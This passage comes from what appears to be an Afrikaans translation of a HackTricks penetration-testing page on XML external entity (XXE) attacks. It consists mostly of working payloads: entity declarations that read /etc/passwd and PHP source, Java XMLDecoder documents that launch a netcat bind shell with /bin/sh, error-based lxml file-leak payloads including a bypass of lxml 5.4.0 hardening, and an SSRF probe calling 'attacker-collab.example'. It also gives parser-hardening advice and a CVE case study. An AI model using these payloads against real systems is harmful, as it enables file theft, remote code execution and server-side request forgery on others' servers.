<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Lees lĂȘer
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Lees bronkode
Gebruik PHP base64-filter
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE na RCE
XMLDecoder is ân Java-klas wat voorwerpe skep gebaseer op ân XML-boodskap. As ân kwaadwillige gebruiker ân toepassing kan laat gebruik maak van arbitrĂȘre data in ân oproep na die metode readObject, sal hy onmiddellik kode-uitvoering op die bediener verkry.
Gebruik van Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
XXE + WrapWrap + Lightyear + omseilings
Kyk na hierdie wonderlike verslag https://swarm.ptsecurity.com/impossible-xxe-in-php/
Gereedskap
GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities
Python lxml Parameter-Entity XXE (Fout-gebaseerde LĂȘerontsluiting)
[!INFO] Die Python biblioteek lxml gebruik libxml2 onder die oppervlak. Weergawes voor lxml 5.4.0 / libxml2 2.13.8 brei steeds parameter entiteite uit selfs wanneer
resolve_entities=False, wat dit bereikbaar maak wanneer die toepassingload_dtd=Trueen/ofresolve_entities=Trueinskakel. Dit stel Fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lĂȘers in die parser foutboodskap in te sluit.
1. Exploiteer lxml < 5.4.0
- Identifiseer of skep ân plaaslike DTD op skyf wat ân onbeskryfde parameter entiteit definieer (bv.
%config_hex;). - Ontwerp ân interne DTD wat:
- Die plaaslike DTD laai met
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">. - Die onbeskryfde entiteit herdefinieer sodat dit:
- Die teikenlĂȘer lees (
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">). - ân Ander parameter entiteit bou wat na ân ongeldige pad verwys wat die
%flag;waarde bevat en ân parser fout veroorsaak (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).
- Laastens, brei
%local_dtd;en%eval;uit sodat die parser%error;teĂ«kom, misluk om/aaa/<FLAG>te open en die vlag binne die gegooi uitsondering lek â wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
Wanneer die toepassing die uitsondering druk, bevat die antwoord:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
Tip
As die parser kla oor
%/&karakters binne die interne subset, kodifiseer hulle dubbel (&#x25;â%) om uitbreiding te vertraag.
2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)
lxml â„ 5.4.0 verbied fout parameter entiteite soos die een hierbo, maar libxml2 laat steeds toe dat hulle in ân algemene entiteit ingebed word. Die truuk is om:
- Lees die lĂȘer in ân parameter entiteit
%file. - Verklaar ân ander parameter entiteit wat ân algemene entiteit
cbou waarvan die SYSTEM identifiseerder ân nie-bestaande protokol soosmeow://%file;gebruik. - Plaas
&c;in die XML liggaam. Wanneer die parser probeer ommeow://âŠte dereferensieer, misluk dit en reflekteer die volle URI â insluitend die lĂȘerinhoud â in die foutboodskap.
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
Sleutelafleidings
- Parameter entiteite word steeds deur libxml2 uitgebrei, selfs wanneer
resolve_entitiesXXE moet blokkeer. - ân Ongeldige URI of nie-bestaande lĂȘer is genoeg om beheerde data in die gegooi uitsondering te konkateer.
- Die tegniek werk sonder buitelandse konnektiwiteit, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
Versagtingsriglyne
- Opgradeer na lxml â„ 5.4.0 en verseker dat die onderliggende libxml2 â„ 2.13.8 is.
- Deaktiveer
load_dtden/ofresolve_entitiestensy absoluut nodig. - Vermy om rou parser foute aan die kliënt terug te gee.
Java DocumentBuilderFactory versterking voorbeeld
Java toepassings parseer dikwels XML met behulp van DocumentBuilderFactory. Standaard laat die fabriek buitelandse entiteit resolusie toe, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
Veilige konfigurasie voorbeeld:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
As die toepassing DTDâs intern moet ondersteun, hou disallow-doctype-decl gedeaktiveer, maar laat altyd die twee external-*-entities funksies op false gestel. Die kombinasie voorkom klassieke lĂȘer-blootstelling payloads (file:///etc/passwd) sowel as netwerk-gebaseerde SSRF vektore (http://169.254.169.254/âŠ, jar: protokol, ens.).
Werklike gevalstudie: CVE-2025-27136 in die Java S3 emuleerder LocalS3 het die kwesbare konstruksie hierbo gebruik. ân Onauthentieke aanvaller kon ân vervaardigde XML liggaam aan die CreateBucketConfiguration eindpunt verskaf en die bediener laat plaaslike lĂȘers (byvoorbeeld /etc/passwd) in die HTTP antwoord inkorporeer.
XXE in JMF/Print Orchestration Services â SSRF
Sommige druk werkvloei/orchestrasie platforms stel ân netwerk-gefokusde Job Messaging Format (JMF) luisteraar bloot wat XML oor TCP aanvaar. As die onderliggende parser ân DOCTYPE aanvaar en eksterne entiteite oplos, kan jy ân klassieke XXE benut om die bediener te dwing om uitgaande versoeke te maak (SSRF) of toegang tot plaaslike hulpbronne te verkry.
Belangrike punte waargeneem in die natuur:
- Netwerk luisteraar (bv., JMF kliĂ«nt) op ân toegewyde poort (gewoonlik 4004 in Xerox FreeFlow Core).
- Java-gebaseerde XML parsing binne ân jar (bv.,
jmfclient.jar) sonderdisallow-doctype-declof entiteit resolusie gedeaktiveer. - Uit-band terugroepe bevestig betroubaar uitbuiting.
Minimale JMF-styl SSRF proef (struktuur verskil per produk, maar die DOCTYPE is wat saak maak):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
Notas:
- Vervang die entiteit-URL met jou samewerker. As SSRF moontlik is, sal die bediener dit oplos terwyl dit die boodskap ontleed.
- Versterkings om na te kyk:
disallow-doctype-decl=true,external-general-entities=false,external-parameter-entities=false. - Selfs wanneer die JMF-poort nie lĂȘers bedien nie, kan SSRF geketting word vir interne rekognisie of om bestuurs-APIâs wat aan localhost gekoppel is, te bereik.
Verwysings vir hierdie vektor is aan die einde van die bladsy gelys.
Verwysings
-
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
-
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
-
Trek inligting via HTTP met eie eksterne DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
-
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
-
Horizon3.ai â Van Ondersteuningskaartjie na Zero Day (FreeFlow Core XXE/SSRF + Pad Traversal)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

